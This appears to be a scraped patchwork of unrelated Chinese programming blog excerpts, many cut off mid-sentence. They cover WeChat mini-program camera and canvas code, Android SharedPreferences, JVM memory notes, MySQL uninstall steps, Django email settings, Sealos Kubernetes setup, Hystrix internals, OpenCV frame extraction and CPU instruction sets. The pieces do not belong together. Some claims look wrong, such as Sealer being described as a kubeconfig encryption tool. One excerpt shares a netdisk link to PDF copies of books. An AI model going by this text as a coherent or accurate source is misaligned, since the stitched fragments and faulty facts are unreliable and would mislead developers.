bindtap="takePhoto">确定</cover-view> <cover-view bindtap="cancelPhoto" class="cancel">取消</cover-view> </cover-view> </cover-view> <cover-view style="height:{{info.windowHeight}}px;" class="page-mask page-mask-lr"></cover-view> </cover-view> <cover-view class="id-card"> 请拍摄身份证 <cover-view class="id-card-text">{{maskMsg}}面</cover-view> </cover-view> </camera> <canvas wx:if="{{isCanvas}}" class="canvas-style" canvas-id="myCanvas" style="width:{{canvasWidth}}px; height:{{canvasHeight}}px;"></canvas> <cover-image wx:if="{{isBaseImg}}" class="base-img" mode="aspectFit" style="width:{{info.windowWidth}}px;height:{{info.windowHeight}}px;" src="{{baseImg}}"></cover-image> <cover-view wx:if="{{isSuccess}}" style="width:{{info.windowWidth}}px;height:{{info.windowHeight}}px;" class="success-img"> <cover-image style="width:{{canvasWidth}}px; height:{{canvasHeight}}px;margin:{{convasY-40}}px auto;" src="
话不多说,直接上代码
1、页面布局 <view class="buttons" style="height: 50px;"> <view class="upload btn" style="background-color: #d18118;" bindtap="uploadImage"> 上传图片 </view> <view class="getCropperImage btn" style="background-color: #04b00f;" bindtap="getCropperImage"> 生成图片 </view> </view> <view class="canvas"> <canvas style="width: {{canvasWidth}}px;height: {{canvasHeight}}px;" type="2d" id="canvas-1" canvas-id="canvas-1" disable-scroll="true" ></canvas> <canvas style="width: {{canvasWidth}}px;height: {{canvasHeight}}px;position: absolute;top: 0;z-index: 999;" type="2d" id="canvas-2" disable-scroll="true" bindtouchstart="touchStart" bindtouchmove="touchMove" bindtouchend="touchEnd" ></canvas> </view> 2、页面样式 page{ padding: 0; -webkit-user-select: none; user-select: none; width: 100%; height: 100%; background-color: #c0c0c0; font-family: Arial, Helvetica, sans-serif; overflow-x: hidden; } .
什么是sharedPreferences?有什么用
SharedPreference是Android开发中一个轻量级的数据存储的方式,除了它还有SQLite数据库。它可以将数据以键值对的形式存放到文件中,在需要的时候再取出来使用。相比于去操作数据库,对于一些简单的数据使用SharedPreference更加方便,高效。
项目中使用:
(1)编写工具类
import android.content.Context; import android.content.SharedPreferences; import androidx.annotation.Nullable; /** * @function sharedPreference 工具类 */ public final class SharedPreferenceUtil { private static final String FILE_NAME = "config"; //文件名 private static SharedPreferenceUtil mInstance; private SharedPreferenceUtil() { } public static SharedPreferenceUtil getInstance() { if (mInstance == null) { synchronized (SharedPreferenceUtil.class) { if (mInstance == null) { mInstance = new SharedPreferenceUtil(); } } } return mInstance; } /** * 存入键值对 * * @param context * @param key * @param value */ public void put(Context context, String key, Object value) { //判断类型 String type = value.
这是我在看课程《黑马程序员JVM完整教程》过程中记的笔记。我觉得该课程总时不长,并且理论+实战是一个入门JVM的好课程。
若你看完该课程可以看下面几个参看书进一步深入了解JVM
深入理解Java虚拟机(第二版)实战Java虚拟机深入JAVA虚拟机第二版 这三本参考书的pdf版本已经放在下面的网盘中(只限个人看)
链接:https://pan.baidu.com/s/1iNJcbSecMwnOQuaJNxzrRQ
提取码:wcar
1.内存结构 1.1 程序计数器 Program Counter Register 程序计数器(寄存器)
作用,是记住下一条jvm指令的执行地址特点 是线程私有的不会存在内存溢出 下面是一条Java程序的指令:
1.2 虚拟机栈 **定义:**Java Virtual Machine Stacks (Java 虚拟机栈)
栈-每个线程运行时需要的内存空间。所以跟程序计数器一样线程私有的结构。栈由多个栈帧组成,每个栈帧对应每个方法运行时需要的内存,包含方法参数,局部变量,返回地址等信息。每个线程只能有一个活动栈帧,对应着当前正在执行的那个方法 问题辨析:
1.垃圾回收是否涉及栈内存?
答案:不会
2.内存分配越大越好吗?
答案:不是,-Xss 参数来设置栈空间,如果栈空间设置过大,会降低线程数,因为机子的物理内存空间大小固定的。
3.方法内的局部变量是否线程安全?
如果方法内局部变量没有逃离方法的作用访问,它是线程安全的如果是局部变量引用了对象,并逃离方法的作用范围,需要考虑线程安全 栈内存溢出
java.lang.StackOverflowError
栈帧过多导致栈内存溢出栈帧过大导致栈内存溢出 线程运行诊断
cpu占用过多案例 用top定位哪个进程对cpu的占用过高ps H -eo pid,tid,%cpu | grep 进程id (用ps命令进一步定位是哪个线程引起的cpu占用过高)jstack 进程id 可以根据线程id 找到有问题的线程,进一步定位到问题代码的源码行号 程序运行很长时间没有结果案例 jstack 进程id 来查看是否出现死锁问题 1.3 本地方法栈 作用:给本地方法提供运行空间 1.4 堆 Heap 堆
通过 new 关键字,创建对象都会使用堆内存 特点
它是线程共享的,堆中对象都需要考虑线程安全的问题有垃圾回收机制 堆内存溢出
java.lang.OutOfMemoryError:Java head space
MySQL环境搭建 1. MySQL的卸载 步骤1:停止MySQL服务 在卸载之前,先停止MySQL8.0的服务。按键盘上的“Ctrl + Alt + Delete”组合键,打开“任务管理器”对话框,可以在“服务”列表找到“MySQL8.0”的服务,如果现在“正在运行”状态,可以右键单击服务,选择“停 止”选项停止MySQL8.0的服务,如图所示。
步骤2:软件的卸载 方式1:通过控制面板方式 卸载MySQL8.0的程序可以和其他桌面应用程序一样直接在“控制面板”选择“卸载程序”,并在程序列表中找到MySQL8.0服务器程序,直接双击卸载即可,如图所示。这种方式删除,数据目录下的数据不会跟着删除。
方式2:通过360或电脑管家等软件卸载 略
方式3:通过安装包提供的卸载功能卸载 你也可以通过安装向导程序进行MySQL8.0服务器程序的卸载。
① 再次双击下载的mysql-installer-community-8.0.26.0.msi文件,打开安装向导。安装向导会自动检测已安装的MySQL服务器程序。
② 选择要卸载的MySQL服务器程序,单击“Remove”(移除),即可进行卸载。
③ 单击“Next”(下一步)按钮,确认卸载。
④ 弹出是否同时移除数据目录选择窗口。如果想要同时删除MySQL服务器中的数据,则勾选“Remove the data directory”,如图所示。
⑤ 执行卸载。单击“Execute”(执行)按钮进行卸载。
⑥ 完成卸载。单击“Finish”(完成)按钮即可。如果想要同时卸载MySQL8.0的安装向导程序,勾选“Yes, Uninstall MySQL Installer”即可,如图所示。
步骤3:残余文件的清理 如果再次安装不成功,可以卸载后对残余文件进行清理后再安装
(1)服务目录:mysql服务的安装目录
(2)数据目录:默认在C:\ProgramData\MySQL
如果自己单独指定过数据目录,就找到自己的数据目录进行删除即可。
注意:请在卸载前做好数据备份
在操作完以后,需要重启计算机,然后进行安装即可。如果仍然安装失败,需要继续操作如下步骤4。
步骤4:清理注册表(选做) 如果前几步做了,再次安装还是失败,那么可以清理注册表。
如何打开注册表编辑器:在系统的搜索框中输入 regedit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL服务 目录删除 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\MySQL服务 目录删除 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Application\MySQL服务 目录删除 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\MySQL服务 目录删除 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\MySQL服务目录 删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL服务删除 注册表中的ControlSet001,ControlSet002,不一定是001和002,可能是ControlSet005、006之类
步骤5:删除环境变量配置 找到path环境变量,将其中关于mysql的环境变量删除,切记不要全部删除。
例如:删除 D:\develop_tools\mysql\MySQLServer8.0.26\bin; 这个部分
2.MySQL的下载、安装、配置 2.1 MySQL的4大版本 MySQL Community Server 社区版本,开源免费,自由下载,但不提供官方技术支持,适用于大多数普通用户。
输入描述:一行,4个整数,用空格分开。
输出描述:一行,一个整数,为输入的4个整数中最大的整数。
具体代码:
#include <stdio.h> int main() { int arr[4] = {0}; int i = 0; for(i=0;i<4;i++) { scanf("%d",&arr[i]); } int max = 0; for(i=0;i<4;i++) { if(arr[i]>max) max = arr[i]; } printf("%d\n",max); return 0; }
目录
前言:
Windows上的客户端连接工具有:
Linux上连接其他虚拟机上的MySQL服务器:
在Windows上通过Navicat连接虚拟机上的Mysql服务器
1、我们先下载好Navicat:
2、当我们下载安装好Navicat后,打开它,创建新的连接
出现的问题: 如何解决mysql远程连接问题:
3、通过Navicat成功连接上mysql数据库
在Linux上通过Mysql客户端工具连接虚拟机上的Mysql服务器
1、首先我们先得下载mariadb
2、通过命令行工具Mysql连接上Mysql服务器(前提是你已经在mysql服务器里创建好远程访问用户了)
3、远程创建新数据库,并在Mysql服务器上验证是否创建成功
Mysql服务器上也可以通过如下命令查看已经连接上mysql服务器的主机IP地址
前言: 继上一次实验,我们已经成功在Linux上安装了mysql服务
(41条消息) Mysql的介绍和软件环境的部署_Claylpf的博客-CSDN博客
下面我们需要通过 Windows 和 Linux 上的 客户端连接工具 来实现连接Linux上的mysql服务
Windows上的客户端连接工具有: SQLyog,它是一个商业化的 MySQL 数据库管理工具,支持 Windows 操作系统,界面美观,功能强大,支持多种数据导入导出格式。
Navicat,它是一个商业化的 MySQL 数据库管理工具,支持 Windows、Linux 和 macOS 等操作系统,提供了丰富的功能和强大的数据管理能力。
MySQL Workbench,它是MySQL 官方提供的,是一个功能强大的 MySQL 数据库管理工具,支持 Windows、Linux 和 macOS 等操作系统。
Linux上连接其他虚拟机上的MySQL服务器: 可以使用MySQL客户端连接工具,例如命令行工具 mysql 或者 GUI 工具 MySQL Workbench。
以下是使用命令行工具 mysql 连接其他Linux服务器上的MySQL服务器的步骤:
在目标Linux服务器上,安装MySQL服务器,并确保MySQL服务器已经启动。
在目标Linux服务器上,创建一个MySQL用户,并为该用户分配连接MySQL服务器的权限。
在本地Linux服务器上,打开终端窗口,输入以下命令连接目标Linux服务器上的MySQL服务器:
mysql -h <目标服务器IP地址> -u <MySQL用户名> -p 其中,-h 参数指定目标服务器的IP地址或者主机名,-u 参数指定MySQL用户名,-p 参数表示需要输入MySQL用户的密码。
素数筛 什么是质数?
若a ,b 除±1外无其他公因数,则称a和b互质。
定理1(算术基本定理)
任意正整数n(n != 1)恰有一种方法写成质数的乘积(不计因数乘积的顺序)
定理2(欧几里得)
质数无穷多
那么我们初学任意编程语言时,一定会遇到求素数的问题,我们朴素的方法一般都是暴力枚举
inline bool isprime(int x) { for (int i = 2; i < x; i++) if (x % i == 0) return false; return true; } 从2枚举到 x - 1,如果整除那么就不是素数
代码的正确性毫无疑问 , 但是如果需求量过大,效率就显得低下
这时有人会发现,我们没必要枚举到x - 1,我们只需要枚举到它的平方根即可
(小的那个因数整除,大的必然整除)
如此一来,代码就变成了这个样子
inline bool isprime(int x) { int sq = (int)sqrt(x); for (int i = 2; i < sq + 1; i++) if (x % i == 0) return false; return true; } 优化掉sqrt的二分快速幂的复杂度的话
目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 如何实施自动化测试?
虽然业界比较注重自动化测试,不过永远要记住下面一句话:“不要为了自动化测试而做自动化测试!”不管你在测试工作如会采取什么测试方案,测试手段,这一切都是为了业务服务的,脱离了具体的业务,你的辅助手段再厉害也是无用的。
在实施你的自动化测试工作之前,你必须对要测试的业务非常熟悉,核心业务流程,具体的功能模块的实现,前后端如何交互,以及业务未来的发展与迭代频率等等。
实施自动化测试
1、根据业务特点,选择自动化测试方案。
你的业务是前后端分离的吗?
业务比较注重用户交互还是数据完整性?
用户量有多大,有没有需要承担的压力等等,通过考虑业务的特点,才能选择比较合适的方案。
2、根据业务侧重点,确认自动化覆盖范围和粒度。
通过业务特点选择了自动化测试方案,然后就需要根据业务侧重点来确认范围和粒度了。
比如说,你确定要进行Web UI自动化测试,肯定不能看着页面就去写自动化测试用例嘛,要根据业务重点来确认。哪些业务流程是核心,必须覆盖?
哪些功能暂时有技术难点,或是变化比较快,可以放为二期来实现。通过对手工用例的评审,来准确确定自动化测试的范围,实现用例的粒度。
3、根据自动化测试用例范围,选择实现框架和语言。
目前业务自动化测试工具,开源框架可谓多如牛毛,让人有点儿无从选择,但是它们还是各用侧重点的。我们需要根据测试用例的范围和特点,参与人员的水平,用例的使用场景和未来的计划来选择合适的框架。
比如说,我们要做接口自动化测试,而参与人员大部分不会代码 ,那选择Python+requests+pytest+yaml+alluer+Jenkins就比选择Java+Httpclient+TestNG+Jenkins实现起来成本更低。
4、根据用例用途,选择执行策略。
根据我们自动化测试的用途,是做上线前回归,还是触发式回归?
需不需要做监控?执行环境是什么?
来去确认是否做持续化集成,是否发执行结果与错误预警,用例或是用例集管理方案,指定维护人员等等工作!
如何学习自动化测试?
既然自动化测试是手工测试提升的一个必经之路,虽然自动化测试没有那么高大上,但也是必不可少的。
那作为一个有理想的测试人员,应该如何去学习自动化测试呢?
1、准确定位自己,明确目标
有不少同学意识到了自动化测试的重要性,就去网上查询资料啊,或是报培训班学习啊,可是到最后越学越迷茫,处于会与不会之间,前路不知如何去走?这是什么原因呢?
这是因为你在学习自动化测试之前没有想明白几个问题:
我的真实水平如何?
如果学习一项新的技术或是语言,我愿意投入的精力是多少?
从现在开始学习,三个月或是半年后应该达到什么目标?
我了解现在业界的自动化测试类型或是体系吗?
想好这些问题再去入手学习,必定事半功倍。
2、全面了解,选好切入点
目前自动化测试方向大概有以下几个:
辅助测试脚本方向,以Shell,Python为主来简化重复的工作,过滤日志等;
接口自动化测试方向,Python+requests+pytest+yaml+alluer+Jenkins和Java+Httpclient+TestNG+Jenkins,当然还有很多其他二次开发的框架或工具,不过核心是一样的;
页面自动化方向,主要有Python+selenium4+pytest+POM+allure+Jenkins,Java+Webdriver+TestNG+Jenkins,以及其他的框架和工具;
App自动化测试方向,以Python+appium+POM+pytest+allure+Jenkins,Robotium+Java+TestNG+Jenkins,Appium+Java+TestNG+Jenkins为主。
当然这里介绍的都是简单的,最基本的实现方案,作为入门学习比较合适。其他五花八门的二次开发的框架,包含众多功能的方案留待你以后提升。先从这几方面了解入手,选择一个语言体系,建议从接口自动化入后,然后再去学习页面和app。
3、步步为营,不要贪多
我们在提升自己的时候,发现有好多东西需要学习,于是就很着急,想同时学习很多东西,其实这并不好。
学的太多容易产生混淆,而且不容易消化,你仔细调研一下就会发现,很多东西都是通着呢。
代码架构,用例管理,执行策略,持续化集成思想都可以举一反三,关键是自己要动手真正实施起来,在公司现在的框架上写用例,不管你写多少,不了解整体结构都是没有用的。
4、抛弃工具,多用开源
业界好像从来不缺少自动化测试工具,QTP,Realobot Framework,LoadRunner等等,知名不知名的数不胜数。
先不说这些工具效果如何,目前大公司是从来不用这些工具的,大家都使用开源的框架,工具进行定制化自己的测试方案。
所以刚刚学习自动化测试的时候,也不要依赖工具,使用开源的Webdriver,,Appium,Robotium等搭建自己的自动化测试工程。掌握一个整体的自动化工程工作原理,为以后搭建自己的自动化工程,工具,平台做准备。
要知道,它只是一个工具,一种测试方案,最终的效果还是由实施的人来决定的。早些的时候,用Jenkins做持续化集成比较热门,近两年docker技术的出现,又使CI,CD变得火热起来。我们是不是应该端正对自动化测试的态度,明确什么才是你想要的,找准方法,不断提升自己呢?
下面是我整理的2023年最全的软件测试工程师学习知识架构体系图 一、Python编程入门到精通 二、接口自动化项目实战 三、Web自动化项目实战 四、App自动化项目实战 五、一线大厂简历 六、测试开发DevOps体系 七、常用自动化测试工具 八、JMeter性能测试 九、总结(尾部小惊喜) 勇往直前,披荆斩棘,奋斗的足迹铺就辉煌的道路。不畏困难,不惧挑战,信念与勇气将引领我们超越极限。每一次努力都是蜕变的起点,只要坚持追求,我们必定绽放属于自己的辉煌光芒。
扬起理想之帆,在拼搏中砥砺前行;点燃激情之火,在奋斗中谱写辉煌。披荆斩棘,攀登高峰,只有用汗水浇灌,方能开启通往成功的大门。
不论风雨多么凛冽,心中的激情永不熄灭;不论道路多么艰辛,信念的火焰始终燃烧。勇往直前,超越自我,别让失败阻挡你的脚步。
一、获取邮箱授权码 以QQ邮箱为例子:
1、进入到设置,找到账户
2、开启POP3等服务,点击管理服务
3、进入管理服务,生成授权码
4、按照要求发送短信就可以了
5、将授权码复制保存,离开界面就看不到了
二、django项目中的配置 1、settings.py配置邮箱服务
#邮件配置 # EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' EMAIL_HOST = 'smtp.qq.com' # 如果是 163 改成 smtp.163.com EMAIL_PORT = 465 EMAIL_HOST_USER = 'xxxx@qq.com' # 发送邮件的邮箱帐号 EMAIL_HOST_PASSWORD = 'QQ邮箱的授权码' # 授权码,各邮箱的设置中启用smtp服务时获取 DEFAULT_FROM_EMAIL = EMAIL_HOST_USER #收件人显示发件人的邮箱 # DEFAULT_FROM_EMAIL = '<xxxxx@qq.com>' #也可以随意写 EMAIL_USE_SSL = True # 使用ssl # EMAIL_USE_TLS = False # 使用tls # EMAIL_USE_SSL 和 EMAIL_USE_TLS 是互斥的,即只能有一个为 True 2、在视图函数给邮箱发送短信
from django.core.mail import send_mail import threading from study_celery import settings from django.
一、前言 1、我前面文章有写过使用 kubeadm 安装的方式,大家可以去参考 (二)k8s集群安装,有一系列的k8s文章说明
2、安装k8s的方式有很多
kubeadmsealoskubespray等等 3、关于sealos来安装 k8s ,也是非常建议大家去官方文档看看,安装sealos和k8s,说的很非常清楚,一看就知道
4、这里顺便说一下 Sealos 和 Sealer 。它们都是与 Kubernetes 相关的工具,但用途和功能不同。
Sealos:
Sealos 是一个用于快速部署 Kubernetes 集群的工具。它基于 Ansible 和 KubeAdm,旨在简化 Kubernetes 集群的安装过程。Sealos 提供了一种快速、便捷的方式来部署单节点或多节点的 Kubernetes 集群。它可以自动处理节点初始化、Master 和 Worker 节点的部署,以及集群的配置和初始化。Sealos 主要关注于 Kubernetes 集群的部署和初始化过程,使得用户能够更容易地搭建一个运行的 Kubernetes 环境。
Sealer:
Sealer 是一个用于加密和保护 Kubernetes 配置文件的工具。它可以将 Kubernetes 的配置文件(如 kubeconfig 文件)进行加密,以确保敏感信息在存储和传输过程中得到保护。Sealer 可以使用不同的加密算法对配置文件进行加密,然后在使用时再进行解密。这有助于提高 Kubernetes 集群的安全性,尤其是在管理多个集群时,可以更好地保护配置信息。
总结:
Sealos 主要用于 Kubernetes 集群的快速部署和初始化。Sealer 主要用于加密和保护 Kubernetes 配置文件,增强集群的安全性。 二、前置准备和说明 2.1、集群类型 kubernetes集群大体上分为两类:一主多从和多主多从。
一主多从:一台Master节点和多台Node节点,但是有单机故障风险,适合用于测试环境多主多从:多台Master节点和多台Node节点,安全性高,适合用于生产环境 说明:为了测试简单,本次搭建的是 一主两从 类型的集群
2.2、主机规划 1、各个机器配置
作用ip操作系统配置k8s-master01192.168.173.135Centos7.9 基础设施服务器4颗CPU 4G内存 100G硬盘k8s-node01192.
Queue.c
/** ****************************************************************************** * @文件名 Queue.c * @作者 Jing * @版本 V01 * @日期 2023-08-09 * @作用 ****************************************************************************** * 修改记录: * 日期 修改者 修改内容 * 2023-08-09 Jing 初版 ****************************************************************************** * @注意 * * Copyright (C) 2023-2025 * All rights reserved Jing * ******************************************************************************/ #include "queue.h" #include <string.h> #include "usart.h" #include "gpio.h" DataPacket receiveQueue[MAX_QUEUE_SIZE]; // 接收队列 int front = 0; // 队头指针 int rear = 0; // 队尾指针 /* ********************************************************************************** * 函数名: Enqueue * 功 能: 数据进入队列 * 形 参: data,len * 返回值: 无 ********************************************************************************** */ void Enqueue(uint8_t *data, uint8_t len) { if (IsQueueFull()) { // 队列已满,丢弃最旧的数据 front = (front + 1) % MAX_QUEUE_SIZE; } memcpy(receiveQueue[rear].
#include<windows.h> keyBoard::keyBoard(QWidget *parent) : QMainWindow(parent) { ui.setupUi(this); connect(ui->pushButton, &QPushButton::clicked, [&] { void* keyBoard = nullptr; bool m_b = Wow64DisableWow64FsRedirection(&keyBoard); QString boardExe = "C:/Windows/System32/osk.exe"; QString params = ""; ShellExecute(nullptr, L"open", (LPCWSTR)boardExe.utf16(), (LPCWSTR)params.utf16(), nullptr, SW_SHOWNORMAL); if (m_b) { Wow64RevertWow64FsRedirection(keyBoard); } }); }
import cv2 import os #要提取视频的文件名 sourceFileName=r'C:\Users\syyfds\Documents\WeChat Files\wxid_64znj0x3367s22\FileStorage\Video\2023-08\502adfdfe1d195e5b5cc2f0018d36567.mp4' #初始化times times=0 #提取视频的频率,每25帧提取一个 frameFrequency=25 #输出图片到指定目录文件夹下 outPutDirName = r'D:\work\image_zhizhen2' #读取时视频文件流 camera = cv2.VideoCapture(sourceFileName) #迭代控制保存的图片文件名 从355开始计数 id = 335 while True: times+=1 res, image = camera.read() if not res: print('not res , not image') break #判断间隔多少帧 if times % frameFrequency == 0: id += 1 cv2.imwrite(os.path.join(outPutDirName, str(id))+'.jpg', image) print('图片提取结束') camera.release()
背景介绍 目前对于一些非核心操作,如增减库存后保存操作日志发送异步消息时(具体业务流程),一旦出现MQ服务异常时,会导致接口响应超时,因此可以考虑对非核心操作引入服务降级、服务隔离。
Hystrix说明 官方文档
Hystrix是Netflix开源的一个容灾框架,解决当外部依赖故障时拖垮业务系统、甚至引起雪崩的问题。
为什么需要Hystrix? 在大中型分布式系统中,通常系统很多依赖(HTTP,hession,Netty,Dubbo等),在高并发访问下,这些依赖的稳定性与否对系统的影响非常大,但是依赖有很多不可控问题:如网络连接缓慢,资源繁忙,暂时不可用,服务脱机等。*当依赖阻塞时,大多数服务器的线程池就出现阻塞(BLOCK),影响整个线上服务的稳定性,在复杂的分布式架构的应用程序有很多的依赖,都会不可避免地在某些时候失败。高并发的依赖失败时如果没有隔离措施,当前应用服务就有被拖垮的风险。 例如:一个依赖30个SOA服务的系统,每个服务99.99 99.99 0.3 换算成时间大约每月有2个小时服务不稳定. 随着服务依赖数量的变多,服务不稳定的概率会成指数性提高. 解决问题方案:对依赖做隔离。 复制代码 Hystrix设计理念 想要知道如何使用,必须先明白其核心设计理念,Hystrix基于命令模式,通过UML图先直观的认识一下这一设计模式。
可见,Command是在 Receiver和 Invoker之间添加的中间层, Command实现了对Receiver的封装。API既可以是Invoker又可以是reciever,通过继承Hystrix核心类HystrixCommand来封装这些API(例如,远程接口调用,数据库查询之类可能会产生延时的操作)。*就可以为API提供弹性保护了。 Hystrix如何解决依赖隔离 Hystrix使用命令模式HystrixCommand(Command)包装依赖调用逻辑,每个命令在单独线程中/信号授权下执行。可配置依赖调用超时时间,超时时间一般设为比99.5%平均时间略高即可。当调用超时时,直接返回或执行fallback逻辑。为每个依赖提供一个小的线程池(或信号),如果线程池已满调用将被立即拒绝,默认不采用排队,加速失败判定时间。依赖调用结果分,成功,失败(抛出异常),超时,线程拒绝,短路。 请求失败(异常,拒绝,超时,短路)时执行fallback(降级)逻辑。提供熔断器组件,可以自动运行或手动调用,停止当前依赖一段时间(10秒),熔断器默认错误率阈值为50%,超过将自动运行。提供近实时依赖的统计和监控 Hystrix流程结构解析 、
流程说明: 每次调用构建HystrixCommand或者HystrixObservableCommand对象,把依赖调用封装在run()方法中.结果是否有缓存如果没有执行execute()/queue做sync或async调用,对应真正的run()/construct()判断熔断器(circuit-breaker)是否打开,如果打开跳到步骤8,进行降级策略,如果关闭进入步骤.判断线程池/队列/信号量是否跑满,如果跑满进入降级步骤8,否则继续后续步骤.使用HystrixObservableCommand.construct()还是HystrixCommand.run(),运行依赖逻辑依赖逻辑调用超时,进入步骤8判断逻辑是否调用成功 6a 返回成功调用结果6b 调用出错,进入步骤8. 计算熔断器状态,所有的运行状态(成功, 失败, 拒绝,超时)上报给熔断器,用于统计从而判断熔断器状态.getFallback()降级逻辑. a. 没有实现getFallback的Command将直接抛出异常 b. fallback降级逻辑调用成功直接返回 c. 降级逻辑调用失败抛出异常返回执行成功结果 以下四种情况将触发getFallback调用:
run()方法抛出非HystrixBadRequestException异常。run()方法调用超时熔断器开启短路调用线程池/队列/信号量是否跑满 熔断器:Circuit Breaker 每个熔断器默认维护10个bucket,每秒一个bucket,每个bucket记录成功,失败,超时,拒绝的状态,默认错误超过50%且10秒内超过20个请求进行中断短路。
Hystrix隔离分析 Hystrix隔离方式采用线程/信号的方式,通过隔离限制依赖的并发量和阻塞扩散.
线程隔离 执行依赖代码的线程与请求线程(如:jetty线程)分离,请求线程可以自由控制离开的时间(异步过程)。通过线程池大小可以控制并发量,当线程池饱和时可以提前拒绝服务,防止依赖问题扩散。*线上建议线程池不要设置过大,否则大量堵塞线程有可能会拖慢服务器。 实际案例: Netflix公司内部认为线程隔离开销足够小,不会造成重大的成本或性能的影响。Netflix 内部API 每天100亿的HystrixCommand依赖请求使用线程隔,每个应用大约40多个线程池,每个线程池大约5-20个线程。
信号隔离 信号隔离也可以用于限制并发访问,防止阻塞扩散, 与线程隔离最大不同在于执行依赖代码的线程依然是请求线程(该线程需要通过信号申请),如果客户端是可信的且可以快速返回,可以使用信号隔离替换线程隔离,降低开销。
信号量的大小可以动态调整, 线程池大小不可以。
线程隔离与信号隔离区别如下图:
fallback故障切换降级机制 有兴趣的小伙伴可以看看:官方参考文档
源码分析 hystrix-core-1.5.12-sources.jar!/com/netflix/hystrix/AbstractCommand.java
executeCommandAndObserve private Observable executeCommandAndObserve(final AbstractCommand _cmd) { final Func1> handleFallback = new Func1>() { public Observable call(Throwable t) { circuitBreaker.
前言 这个项目萌芽于2021年,期间在主职工作的空闲时间陆陆续续做了一些开发,包括软件框架平台和算法,这里做一下总结。
毕业后做了五年上位机软件,上一份工作离职时,感觉到对上位机的开发技能已经到了瓶颈,寻思着拓宽技能面,思考最终决定选视觉方向。去面试了两家视觉软件公司,结果没过,最终还是在原来的行业里面选择了一家公司。比较巧的是,入职的公司正在开展视觉软件二次开发任务尝试,由于之前工作有opencv的经验,便开始兼任视觉软件二次开发负责人。从视觉二次定制开发的积累,慢慢也发现他的局限性,最终,在参考商用成熟软件平台的基础上,也琢磨出来这款视觉拖拽软件平台。
做二次开发期间接触了多家商用算法库和平台软件,包括创科、凌云、OPT、海康、利珀。分析他们的平台软件,大致分为三层架构:
第一层,基础算子模块:纯算子
第二层,工具模块:调用算子,附带UI,并支持无限扩展
第三层,平台软件:工具模块的整合,支持拖拽、生产界面编辑等实际应用功能;
在支持底层算子二次开发的基础上,他们大多也支持软件平台层面的二次开发,提供工具参数修改以及图像嵌入等支持。
下面着重从几个开发瓶颈点来介绍自研视觉拖拽软件平台的开发历程。
一、可自由缩放的图像显示窗 在体验了商用视觉软件无比丝滑的图像查看窗后,面对opencv自带的图像显示窗体,图像压缩显示,无法像素级别查看等,完全无法忍受,后面就开始寻找自己写一个的方法。
一个偶然的机会,发现了GDI+的CImage类,完美解决问题。用它来绘制图像,支持像素级别查看,GDI+绘制图形、绘制文字的功能也能用上,也解决了图像处理结果准确显示的问题。
二、自定义图像类 图像处理中,图像类贯穿始终,opencv中是Mat,作为数据处理媒介,自研算法一定也要自己开发一个这样的处理类,用在自研算子的传参等场景。
分享两款商用算法的图像类基础定义,自研的图像类也和其类似:
//1 class scImage { public: //图像宽度 long Width() const { return m_lWidth; } //图像高度 long Height() const { return m_lHeight; } /* 略 */ //释放图像数据段,返回初始状态 virtual void Release() = 0; protected: unsigned char* m_pRawStorage; // 图像数据 long m_lWidth; // 图像宽度 long m_lHeight; // 图像高度 long m_lAlignModulus; // 图像对齐模式 long m_lWidthPadded; // 图像实际宽度(由于对齐的需要,可能对图像行数据进行扩展,因此,图像实际宽度 >= 图像宽度) long m_lPixelSize; // 图像单像素占用的内存字节数(Gray:8位1字节,RGB:24位3字节) }; //2 /* 图像基本功能类 */ class CPrImage { public: CPrImage(); // 构造+复制 CPrImage( const CPrImage& imgSrc ); // 构造+创建 CPrImage( int nWidth, int nHeight, int nFormat=1 ); // 析构函数 virtual ~CPrImage(); /* 略 */ // 释放 void Release(); protected: int m_nWidth; // 宽度 int m_nHeight; // 高度 int m_nFormat; // 像素格式 int m_nLineByte; // 行字节数 UINT m_nSizeByte; // 总字节数 BYTE* m_pDataBits; // 图像数据 }; // CPrImage 三、自研算子 这一快没多少发言权,底子比较薄,也主要靠一腔热血摸索,磕磕绊绊写出来一些,主要有:
一、指令集,架构: 指令集主要是指Cpu硬件和软件之间的接口描述,它本质上是一段二进制机器码,cpu只能识别机器码,但是机器码是一串无意义的字符串,程序员很难看看懂这些语句,用它来开发软件,所以后面就发明了汇编语言,汇编语言本质上跟机器码一一对应的,现在有很多不同版本的汇编语言,本质上就是有不同的指令集,指令集可以简单的分为复杂指令集和精简指令集。最近比较火的RISC-V,也是指令集的一种。
架构:架构主要是指某一个处理器所使用的具体指令集,比如说m6ull,他是基于ArmV7架构的,就是指它是使用armV7指令集,在大部分场合,架构等于指令集。
指令集架构是计算机体系架构的一部分。指令集是一个很虚的东西,是一个标准规范。例如我们的交通规则,红灯停、绿灯行、黄灯亮了等—等,只有行人和司机都去遵守这套交通规则我们的交通系统才能有条不紊地运行下去。指令集也一样,芯片工程师在设计CPU时也要以指令集中规定的指令格式为标准实现不同的译码电路来支持指令集各种指令的运行。指令集最终的实现就是微架构,就是CPU内部的各种译码和执行电路。
编译器厂商在研发编译器工具或IDE时,也要以指令集为标准将我们编写的C语言高级程序转换为指令集中规定的各种机器指令。为什么我们编写的高级程序经过编译后可以直接在CPU上运行呢?就是因为CPU设计者和编译器开发者遵循的是同一个指令集标准,“编译器最终编译生成的指令”都是CPU硬件电路支持运行的指令,每一种不同架构的CPU一般都需要配套一个对应的编译器。
指令集作为CPU和编译器的设计规范和参考标准主要用来定义指令的各种操作、操作数的类型、寄存器的分配、地址的格式等。
指令集也不是—成不变的也会随着应用需求的推动不断迭代更新,不断扩充新的指令。例如ARM指令集从最初的ARMV1发展到目前的ARMV8,一直在不断地发展不断添加新的指令。
二、处理器,内核(微架构) 处理器、内核:是芯片内部的核心单元模块,是在硬件层面按照指令集的设计规范,把它实现出来,可以把内核当作指令集的实物化,但是硬件的设计方案各有不同,所以同一个版本的指令集可能也有不同版本的内核,我们经常说的cotex-m3,cotex-m4,cotex-A7等等就是属于内核层面的概念。
